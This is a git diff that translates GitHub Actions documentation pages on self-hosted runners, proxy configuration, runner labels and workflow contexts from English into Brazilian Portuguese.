+Para remover um executor auto-hospedado de um repositório de usuário, você deve ser o proprietário do repositório. Para um repositório da organização, você deve ser um proprietário da organização ou ter acesso de administrador ao repositório. Recomendamos que você também tenha acesso à máquina do executor auto-hospedado. Para obter informações sobre como remover um executor auto-hospedado com a API REST, consulte "[Executores auto-hospedados](/rest/reference/actions#self-hosted-runners)."
 
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 {% ifversion fpt or ghec %}
@@ -44,17 +44,17 @@ To remove a self-hosted runner from a user repository you must be the repository
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner %}
 {% endif %}
-## Removing a runner from an organization
+## Remover um executor de uma organização
 
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**Observação:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
 {% endnote %}
 
-To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+Para remover um executor auto-hospedado de uma organização, você deve ser um proprietário da organização. Recomendamos que você também tenha acesso à máquina do executor auto-hospedado. Para obter informações sobre como remover um executor auto-hospedado com a API REST, consulte "[Executores auto-hospedados](/rest/reference/actions#self-hosted-runners)."
 
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
@@ -70,15 +70,16 @@ To remove a self-hosted runner from an organization, you must be an organization
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner %}
 {% endif %}
-## Removing a runner from an enterprise
+## Remover um executor de uma empresa
 
 {% ifversion fpt %}
-If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
+Se você usar
+{% data variables.product.prodname_ghe_cloud %}, você também pode remover executores de uma empresa. Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
 {% endif %}
 {% ifversion ghec or ghes or ghae %}
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**Observação:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
@@ -87,7 +88,7 @@ If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 
 {% ifversion ghec %}
-To remove a self-hosted runner from an enterprise account, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
+Para remover um executor auto-hospedado de uma conta corporativa, você deve ser um proprietário corporativo. Recomendamos que você também tenha acesso à máquina do executor auto-hospedado. Para obter informações sobre como adicionar um executor auto-hospedado com a API REST, consulte [as APIs do GitHub Actions da administração da empresa](/rest/reference/enterprise-admin#github-actions).
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
@@ -95,7 +96,8 @@ To remove a self-hosted runner from an enterprise account, you must be an enterp
 {% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %}
 {% elsif ghae or ghes %}
-To remove a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine.
+Para remover um executor auto-hospedado no nível da empresa de
+{% data variables.product.product_location %}, você deve ser um proprietário corporativo. Recomendamos que você também tenha acesso à máquina do executor auto-hospedado.
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/translations/pt-BR/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
index 2ae428faa5..ce8b6e44b6 100644
--- a/translations/pt-BR/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
+++ b/translations/pt-BR/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: Using a proxy server with self-hosted runners
-intro: 'You can configure self-hosted runners to use a proxy server to communicate with {% data variables.product.product_name %}.'
+title: Usar um servidor proxy com executores auto-hospedados
+intro: 'Você pode configurar executores auto-hospedados para usar um servidor proxy para comunicar-se com {% data variables.product.product_name %}.'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners
 versions:
@@ -9,48 +9,48 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Proxy servers
+shortTitle: Servidores proxy
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring a proxy server using environment variables
+## Configurar um servidor proxy usando variáveis de ambiente
 
-If you need a self-hosted runner to communicate via a proxy server, the self-hosted runner application uses proxy configurations set in the following environment variables:
+Se você precisar de um executor auto-hospedado para comunicar-se por meio de um servidor proxy, o aplicativo do executor auto-hospedado usará as configurações proxy definidas nas variáveis do ambiente a seguir:
 
-* `https_proxy`: Proxy URL for HTTPS traffic. You can also include basic authentication credentials, if required. For example:
+* `https_proxy`: URL Proxy para tráfego HTTPS. Se necessário, você também poderá incluir credenciais de autenticação básica. Por exemplo:
   * `http://proxy.local`
   * `http://192.168.1.1:8080`
   * `http://username:password@proxy.local`
-* `http_proxy`: Proxy URL for HTTP traffic. You can also include basic authentication credentials, if required. For example:
+* `http_proxy`: URL proxy para tráfego HTTP. Se necessário, você também poderá incluir credenciais de autenticação básica. Por exemplo:
   * `http://proxy.local`
   * `http://192.168.1.1:8080`
   * `http://username:password@proxy.local`
-* `no_proxy`: Comma separated list of hosts that should not use a proxy. Only hostnames are allowed in `no_proxy`, you cannot use IP addresses. For example:
+* `no_proxy`: Listas de hosts separados vírgula que não devem usar um proxy. São permitidos apenas nomes de host em `no_proxy`. Você não pode usar endereços IP. Por exemplo:
   * `example.com`
   * `example.com,myserver.local:443,example.org`
 
-The proxy environment variables are read when the self-hosted runner application starts, so you must set the environment variables before configuring or starting the self-hosted runner application. If your proxy configuration changes, you must restart the self-hosted runner application.
+As variáveis do ambiente proxy são lidas quando o aplicativo do executor auto-hospedado inicia. Portanto, você deve definir as variáveis do ambiente antes de configurar ou iniciar o aplicativo do executor auto-hospedado. Se a sua configuração de proxy for alterada, você deverá reiniciar o aplicativo do executor auto-hospedado.
 
-On Windows machines, the proxy environment variable names are not case-sensitive. On Linux and macOS machines, we recommend that you use all lowercase environment variables. If you have an environment variable in both lowercase and uppercase on Linux or macOS, for example `https_proxy` and `HTTPS_PROXY`, the self-hosted runner application uses the lowercase environment variable.
+No Windows, os nomes da variável do ambiente proxy não diferenciam maiúsculas de minúsculas. Nos sistemas Linux e macOS, recomendamos que você use variáveis de ambiente em minúscula. Se você tiver uma variável de ambiente tanto maiúscula quanto minúscula no Linux ou macOS, como, por exemplo `https_proxy` e `HTTPS_PROXY`, o aplicativo executor auto-hospedado usará a variável minúscula do ambiente.
 
 {% data reusables.actions.self-hosted-runner-ports-protocols %}
 
-## Using a .env file to set the proxy configuration
+## Usar um arquivo .env para definir a configuração de proxy
 
-If setting environment variables is not practical, you can set the proxy configuration variables in a file named _.env_ in the self-hosted runner application directory. For example, this might be necessary if you want to configure the runner application as a service under a system account. When the runner application starts, it reads the variables set in _.env_ for the proxy configuration.
+Se não for prático definir as variáveis do ambiente, você poderá definir as variáveis da configuração de proxy em um arquivo de nome _.env_ no diretório do aplicativo do executor auto-hospedado. Por exemplo, isso pode ser necessário se você desejar configurar um aplicativo executor como um serviço em uma conta de sistema. Quando o aplicativo executor é iniciado, ele lerá as variáveis definidas em _.env_ para a configuração de proxy.
 
-An example _.env_ proxy configuration is shown below:
+Um exemplo de configuração de proxy _.env_ é mostrado abaixo:
 
 ```ini
 https_proxy=http://proxy.local:8080
 no_proxy=example.com,myserver.local:443
 ```
 
-## Setting proxy configuration for Docker containers
+## Definir configuração de proxy para contêineres Docker
 
-If you use Docker container actions or service containers in your workflows, you might also need to configure Docker to use your proxy server in addition to setting the above environment variables.
+Se você usar ações do contêiner Dock ou contêineres de serviço nos seus fluxos de trabalho, você também deverá configurar o Docker para usar o seu servidor proxy além de definir as variáveis do ambiente acima.
 
-For information on the required Docker configuration, see "[Configure Docker to use a proxy server](https://docs.docker.com/network/proxy/)" in the Docker documentation.
+Para obter mais informações sobre a configuração do Docker necessária, consulte "[Configurar Docker para usar um servidor proxy](https://docs.docker.com/network/proxy/)" no documento do Docker.
diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md b/translations/pt-BR/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
index 42ac880513..573436c429 100644
--- a/translations/pt-BR/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
+++ b/translations/pt-BR/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
@@ -1,80 +1,79 @@
 ---
-title: Using labels with self-hosted runners
-intro: You can use labels to organize your self-hosted runners based on their characteristics.
+title: Usar etiquetas com executores auto-hospedados
+intro: Você pode usar etiquetas para organizar os seus executores auto-hospedados com base em suas características.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Label runners
+shortTitle: Executores de etiqueta
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-For information on how to use labels to route jobs to specific types of self-hosted runners, see "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)."
+Para obter informações sobre como usar etiquetas para encaminhar trabalhos para tipos específicos de executores auto-hospedados, consulte "[Usando executores auto-hospedados em um fluxo de trabalho](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)."
 
 {% data reusables.github-actions.self-hosted-runner-management-permissions-required %}
 
-## Creating a custom label
+## Criar etiquetas personalizadas
 {% ifversion fpt or ghec %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
  {% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
- 1. In the "Labels" section, click {% octicon "gear" aria-label="The Gear icon" %}.
- 1. In the "Find or create a label" field, type the name of your new label and click **Create new label**.
- The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.github-actions.actions-unused-labels %}
+ 1. Na seção "Etiquetas", clique em {% octicon "gear" aria-label="The Gear icon" %}.
+ 1. No campo "Encontrar ou criar uma etiqueta", digite o nome da sua nova etiqueta e clique em **Criar nova etiqueta**. O rótulo personalizado é criado e atribuído ao executor auto-hospedado. É possível remover as etiquetas personalizadas dos executores auto-hospedados, mas não é possível excluí-las manualmente. {% data reusables.github-actions.actions-unused-labels %}
 {% endif %}
 {% ifversion ghae or ghes %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
 {% data reusables.github-actions.self-hosted-runner-list %}
 {% data reusables.github-actions.self-hosted-runner-list-group %}
 {% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. In the "Filter labels" field, type the name of your new label, and click **Create new label**.
-    ![Add runner label](/assets/images/help/settings/actions-add-runner-label.png)
-    
-The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.github-actions.actions-unused-labels %}
-{% endif %}
-## Assigning a label to a self-hosted runner
-{% ifversion fpt or ghec %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.github-actions.runner-label-settings %}
-  1. To assign a label to your self-hosted runner, in the "Find or create a label" field, click the label. 
-{% endif %}
-{% ifversion ghae or ghes %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.self-hosted-runner-list %}
-{% data reusables.github-actions.self-hosted-runner-list-group %}
-{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. Click on a label to assign it to your self-hosted runner. 
-{% endif %}
-## Removing a custom label from a self-hosted runner
-{% ifversion fpt or ghec %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.github-actions.runner-label-settings %}
-  1. In the "Find or create a label" field, assigned labels are marked with the {% octicon "check" aria-label="The Check icon" %} icon. Click on a marked label to unassign it from your self-hosted runner. 
-{% endif %}
-{% ifversion ghae or ghes %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.self-hosted-runner-list %}
-{% data reusables.github-actions.self-hosted-runner-list-group %}
-{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. Click on the assigned label to remove it from your self-hosted runner. {% data reusables.github-actions.actions-unused-labels %}
-{% endif %}
-## Using the configuration script to create and assign labels
+1. No campo "Filtrar etiquetas", digite o nome da sua nova etiqueta e clique em **Criar nova etiqueta**. ![Adicionar etiqueta do executor](/assets/images/help/settings/actions-add-runner-label.png)
 
-You can use the configuration script on the self-hosted runner to create and assign custom labels. For example, this command assigns a label named `gpu` to the self-hosted runner. 
+O rótulo personalizado é criado e atribuído ao executor auto-hospedado. É possível remover as etiquetas personalizadas dos executores auto-hospedados, mas não é possível excluí-las manualmente. {% data reusables.github-actions.actions-unused-labels %}
+{% endif %}
+## Atribuir uma etiqueta a um executor auto-hospedado
+{% ifversion fpt or ghec %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.github-actions.runner-label-settings %}
+  1. Para atribuir uma etiqueta ao executor auto-hospedado, no campo "Localizar ou criar uma etiqueta", clique na etiqueta.
+{% endif %}
+{% ifversion ghae or ghes %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.self-hosted-runner-list %}
+{% data reusables.github-actions.self-hosted-runner-list-group %}
+{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
+1. Clique em uma etiqueta a ser atribuída ao seu executor auto-hospedado.
+{% endif %}
+## Remover uma etiqueta personalizada de um executor auto-hospedado
+{% ifversion fpt or ghec %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.github-actions.runner-label-settings %}
+  1. No campo "Encontre ou crie uma etiqueta", as etiquetas atribuídas são marcadas com a
+Ícone de {% octicon "check" aria-label="The Check icon" %}. Clique em uma etiqueta marcada para cancelar a atribuição do seu executor auto-hospedado.
+{% endif %}
+{% ifversion ghae or ghes %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.self-hosted-runner-list %}
+{% data reusables.github-actions.self-hosted-runner-list-group %}
+{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
+1. Clique na etiqueta atribuída para removê-la do seu executor auto-hospedado. {% data reusables.github-actions.actions-unused-labels %}
+{% endif %}
+## Usar o script de configuração para criar e atribuir rótulos
+
+Você pode usar o script de configuração no executor auto-hospedado para criar e atribuir etiquetas personalizadas. Por exemplo, este comando atribui ao executor auto-hospedado uma etiqueta denominada `gpu`.
 
 ```shell
 ./config.sh --labels gpu
 ```
 
-The label is created if it does not already exist. You can also use this approach to assign the default labels to runners, such as `x64` or `linux`. When default labels are assigned using the configuration script, {% data variables.product.prodname_actions %} accepts them as given and does not validate that the runner is actually using that operating system or architecture.
+Caso não exista, a etiqueta será criada. Você também pode usar esta abordagem para atribuir as etiquetas-padrão a executores, como `x64` ou `linux`. Quando as etiquetas-padrão são atribuídas usando o script de configuração, {% data variables.product.prodname_actions %} aceita-as como dadas e não valida que o executor está realmente usando esse sistema operacional ou arquitetura.
 
-You can use comma separation to assign multiple labels. For example:
+Você pode usar a separação por vírgula para atribuir múltiplas etiquetas. Por exemplo:
 
 ```shell
 ./config.sh --labels gpu,x64,linux
@@ -82,6 +81,6 @@ You can use comma separation to assign multiple labels. For example:
 
 {% note %}
 
-** Note:** If you replace an existing runner, then you must reassign any custom labels.
+** Observação:** Se você substituir um executor existente, você deverá reatribuir quaisquer etiquetas personalizadas.
 
 {% endnote %}
diff --git a/translations/pt-BR/content/actions/index.md b/translations/pt-BR/content/actions/index.md
index 8828a7a41c..9f41e32cb0 100644
--- a/translations/pt-BR/content/actions/index.md
+++ b/translations/pt-BR/content/actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Actions Documentation
+title: Documentação do GitHub Actions
 shortTitle: GitHub Actions
-intro: 'Automate, customize, and execute your software development workflows right in your repository with {% data variables.product.prodname_actions %}. You can discover, create, and share actions to perform any job you''d like, including CI/CD, and combine actions in a completely customized workflow.'
+intro: 'Automatize, personalize e execute seus fluxos de trabalho de desenvolvimento do software diretamente no seu repositório com o {% data variables.product.prodname_actions %}. Você pode descobrir, criar e compartilhar ações para realizar qualquer trabalho que desejar, incluindo CI/CD, bem como combinar ações em um fluxo de trabalho completamente personalizado.'
 introLinks:
   overview: /actions/learn-github-actions/understanding-github-actions
   quickstart: /actions/quickstart
diff --git a/translations/pt-BR/content/actions/learn-github-actions/contexts.md b/translations/pt-BR/content/actions/learn-github-actions/contexts.md
index 6fd4f39039..b6d36d8502 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/contexts.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/contexts.md
@@ -1,7 +1,7 @@
 ---
-title: Contexts
-shortTitle: Contexts
-intro: You can access context information in workflows and actions.
+title: Contextos
+shortTitle: Contextos
+intro: Você pode acessar as informações de contexto nos fluxos de trabalho e nas ações.
 redirect_from:
   - /articles/contexts-and-expression-syntax-for-github-actions
   - /github/automating-your-workflow-with-github-actions/contexts-and-expression-syntax-for-github-actions
@@ -19,157 +19,147 @@ miniTocMaxHeadingLevel: 3
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About contexts
+## Sobre os contextos
 
 {% data reusables.github-actions.context-injection-warning %}
 
-Contexts are a way to access information about workflow runs, runner environments, jobs, and steps. Contexts use the expression syntax. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+Os contextos são uma forma de acessar informações sobre execuções de fluxo de trabalho, ambientes dos executores, trabalhos e etapas. Contextos usam a sintaxe de expressão. Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
 {% raw %}
 `${{ <context> }}`
 {% endraw %}
 
-| Context name | Type | Description |
-|---------------|------|-------------|
-| `github` | `object` | Information about the workflow run. For more information, see [`github` context](#github-context). |
-| `env` | `object` | Contains environment variables set in a workflow, job, or step. For more information, see [`env` context](#env-context). |
-| `job` | `object` | Information about the currently executing job. For more information, see [`job` context](#job-context). |
-| `steps` | `object` | Information about the steps that have been run in this job. For more information, see [`steps` context](#steps-context). |
-| `runner` | `object` | Information about the runner that is running the current job. For more information, see [`runner` context](#runner-context). |
-| `secrets` | `object` | Enables access to secrets. For more information about secrets, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." |
-| `strategy` | `object` | Enables access to the configured strategy parameters and information about the current job. Strategy parameters include `fail-fast`, `job-index`, `job-total`, and `max-parallel`. |
-| `matrix` | `object` | Enables access to the matrix parameters you configured for the current job. For example, if you configure a matrix build with the `os` and `node` versions, the `matrix` context object includes the `os` and `node` versions of the current job. |
-| `needs` | `object` | Enables access to the outputs of all jobs that are defined as a dependency of the current job. For more information, see [`needs` context](#needs-context). |
-{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4757 %}| `inputs` | `object` | Enables access to the inputs of reusable workflow. For more information, see [`inputs` context](#inputs-context). |{% endif %}
+| Nome do contexto | Tipo     | Descrição                                                                                                                                                                                                                                         |
+| ---------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `github`         | `objeto` | Informações sobre a execução do fluxo de trabalho. Para obter mais informações, consulte [contexto `github`](#github-context).                                                                                                                    |
+| `env`            | `objeto` | Contém variáveis de ambiente definidas em um fluxo de trabalho, trabalho ou etapa. Para obter mais informações, consulte o contexto [`env`](#env-context).                                                                                        |
+| `trabalho`       | `objeto` | Tem informações sobre o trabalho em execução no momento. Para obter mais informações, consulte [contexto `trabalho`](#job-context).                                                                                                               |
+| `steps`          | `objeto` | Informações sobre as etapas que foram executadas neste trabalho. Para obter mais informações, consulte [contexto `etapas`](#steps-context).                                                                                                       |
+| `runner`         | `objeto` | Informações sobre o executor do trabalho atual. Para obter mais informações, consulte [`runner` context](#runner-context).                                                                                                                        |
+| `secrets`        | `objeto` | Habilita o acesso a segredos. Para obter mais informações sobre segredos, consulte "[Criar e usar segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".                             |
+| `strategy`       | `objeto` | Habilita acesso aos parâmetros de estratégia configurados e informações sobre o trabalho atual. Parâmetros de estratégia incluem `fail-fast`, `job-index`, `job-total` e `max-parallel`.                                                          |
+| `matrix`         | `objeto` | Habilita acesso aos parâmetros de matriz configurados para o trabalho atual. Por exemplo, se você configurar uma criação de matriz com as versões `os` e `node`, o objeto de contexto `matrix` inclui as versões `os` e `node` do trabalho atual. |
+| `needs`          | `objeto` | Permite o acesso às saídas de todos os trabalhos definidos como uma dependência do trabalho atual. Para obter mais informações, consulte o contexto [`needs`](#needs-context).                                                                    |
+{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4757 %}「 `entradas` stuff `objeto` | Habilita acesso às entradas do fluxo de trabalho reutilizável. Para obter mais informações, consulte o contexto [`entradas`](#inputs-context). |{% endif %}
 
-As part of an expression, you may access context information using one of two syntaxes.
-- Index syntax: `github['sha']`
-- Property dereference syntax: `github.sha`
+Como parte de uma expressão, você pode acessar as informações de contexto usando uma das duas sintaxes:
+- Sintaxe de índice: `github['sha']`;
+- Sintaxe de propriedade de desreferência: `github.sha`
 
-In order to use property dereference syntax, the property name must:
-- start with `a-Z` or `_`.
-- be followed by `a-Z` `0-9` `-` or `_`.
+Para usar a sintaxe de propriedade de desreferência, o nome da propriedade deve:
+- começar com `a-Z` ou `_`;
+- ser seguido por `a-Z` `0-9` `-` ou `_`.
 
-### Determining when to use contexts
+### Determinar quando usar contextos
 
 {% data reusables.github-actions.using-context-or-environment-variables %}
 
-### `github` context
+### Contexto `github`
 
-The `github` context contains information about the workflow run and the event that triggered the run. You can read most of the `github` context data in environment variables. For more information about environment variables, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
+O contexto `github` context contém informações sobre a execução do fluxo de trabalho e sobre o evento que a acionou. Você pode ler a maioria dos dados de contexto `github` em variáveis de ambiente. Para obter mais informações sobre as variáveis de ambiente, consulte "[Usando variáveis de ambiente](/actions/automating-your-workflow-with-github-actions/using-environment-variables)".
 
 {% data reusables.github-actions.github-context-warning %}
 {% data reusables.github-actions.context-injection-warning %}
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `github` | `object` | The top-level context available during any job or step in a workflow. |
-| `github.action` | `string` | The name of the action currently running. {% data variables.product.prodname_dotcom %} removes special characters or uses the name `__run` when the current step runs a script.  If you use the same action more than once in the same job, the name will include a suffix with the sequence number with underscore before it.  For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. |
-| `github.action_path` | `string` | The path where your action is located. You can use this path to easily access files located in the same repository as your action. This attribute is only supported in composite actions. |
-| `github.actor` | `string` | The login of the user that initiated the workflow run. |
-| `github.base_ref` | `string` | The `base_ref` or target branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
-| `github.event` | `object` | The full event webhook payload. For more information, see "[Events that trigger workflows](/articles/events-that-trigger-workflows/)." You can access individual properties of the event using this context. |
-| `github.event_name` | `string` | The name of the event that triggered the workflow run. |
-| `github.event_path` | `string` | The path to the full event webhook payload on the runner. |
-| `github.head_ref` | `string` | The `head_ref` or source branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
-| `github.job` | `string` | The [`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. |
-| `github.ref` | `string` | The branch or tag ref that triggered the workflow run. For branches this is the format  `refs/heads/<branch_name>`, and for tags it is `refs/tags/<tag_name>`. |
+| Nome da propriedade  | Tipo     | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| -------------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `github`             | `objeto` | Contexto de nível mais alto disponível em qualquer trabalho ou etapa de um fluxo de trabalho.                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| `github.action`      | `string` | O nome da ação atualmente em execução. {% data variables.product.prodname_dotcom %} remove caracteres especiais ou usa o nome `__run` quando a etapa atual executa um script.  Se você usar a mesma ação mais de uma vez no mesmo trabalho, o nome incluirá um sufixo com o número da sequência com o sublinhado antes dele.  Por exemplo, o primeiro script que você executar terá o nome `__run` e o segundo script será denominado `__run_2`. Da mesma forma, a segunda invocação de `actions/checkout` será `actionscheckout2`. |
+| `github.action_path` | `string` | O caminho onde está localizada a sua ação. Você pode usar esse caminho para acessar facilmente os arquivos localizados no mesmo repositório que sua ação. Este atributo é compatível apenas em ações compostas.                                                                                                                                                                                                                                                                                                                     |
+| `github.actor`       | `string` | Login do usuário que iniciou a execução do fluxo de trabalho.                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| `github.base_ref`    | `string` | `base_ref` ou branch alvo da pull request em uma execução de fluxo de trabalho. Esta propriedade só está disponível quando o evento que aciona a execução de um fluxo de trabalho for `pull_request` ou `pull_request_target`.                                                                                                                                                                                                                                                                                                      |
+| `github.event`       | `objeto` | Carga de evento de webhook completa. Para obter mais informações, consulte "[Eventos que acionam fluxos de trabalho](/articles/events-that-trigger-workflows/)". Você pode acessar as propriedades individuais do evento usando este contexto.                                                                                                                                                                                                                                                                                      |
+| `github.event_name`  | `string` | Nome do evento que acionou a execução do fluxo de trabalho.                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| `github.event_path`  | `string` | O caminho para a carga completa do evento do webhook no executor.                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| `github.head_ref`    | `string` | `head_ref` ou branch de origem da pull request em uma execução de fluxo de trabalho. Esta propriedade só está disponível quando o evento que aciona a execução de um fluxo de trabalho for `pull_request` ou `pull_request_target`.                                                                                                                                                                                                                                                                                                 |
+| `github.job`         | `string` | O [`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) do trabalho atual.                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| `github.ref`         | `string` | Branch ou ref tag que acionou a execução do fluxo de trabalho. Para branches, este é o formato `refs/heads/<branch_name>` e, para tags, é `refs/tags/<tag_name>`.                                                                                                                                                                                                                                                                                                                                                       |
 {%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5338 %}
-| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} |
-| `github.ref_protected` | `string` | {% data reusables.actions.ref_protected-description %} |
-| `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %} |
+| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} | | `github.ref_protected` | `string` | {% data reusables.actions.ref_protected-description %} | | `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %}
 {%- endif %}
-| `github.repository` | `string` | The owner and repository name. For example, `Codertocat/Hello-World`. |
-| `github.repository_owner` | `string` | The repository owner's name. For example, `Codertocat`. |
-| `github.run_id` | `string` | {% data reusables.github-actions.run_id_description %} |
-| `github.run_number` | `string` | {% data reusables.github-actions.run_number_description %} |
-| `github.run_attempt` | `string` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. |
-| `github.server_url` | `string` | Returns the URL of the GitHub server. For example: `https://github.com`. |
-| `github.sha` | `string` | The commit SHA that triggered the workflow run. |
-| `github.token` | `string` | A token to authenticate on behalf of the GitHub App installed on your repository. This is functionally equivalent to the `GITHUB_TOKEN` secret. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." |
-| `github.workflow` | `string` | The name of the workflow. If the workflow file doesn't specify a `name`, the value of this property is the full path of the workflow file in the repository. |
-| `github.workspace` | `string` | The default working directory for steps and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. |
